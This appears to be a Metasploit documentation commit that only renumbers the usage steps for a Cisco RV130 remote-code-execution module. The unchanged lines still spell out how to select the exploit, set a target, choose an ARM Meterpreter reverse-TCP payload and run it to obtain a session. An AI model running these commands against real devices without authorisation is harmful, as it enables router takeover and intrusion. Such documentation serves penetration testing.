Fix numbering.

documentation/modules/exploit/linux/http/cisco_rv130_rmi_rce.md

@@ -19,9 +19,9 @@ firmware here: https://software.cisco.com/download/home/285026141/type/282465789
 
 1. Start msfconsole
 2. ```use exploit/linux/http/cisco_rv130_rmi_rce```
-4. ```set rhost [IP]```
-5. ```set payload linux/armle/meterpreter_reverse_tcp```
-6. ```set lhost [IP]```
-7. ```exploit```
-8. You should get a session
+3. ```set rhost [IP]```
+4. ```set payload linux/armle/meterpreter_reverse_tcp```
+5. ```set lhost [IP]```
+6. ```exploit```
+7. You should get a session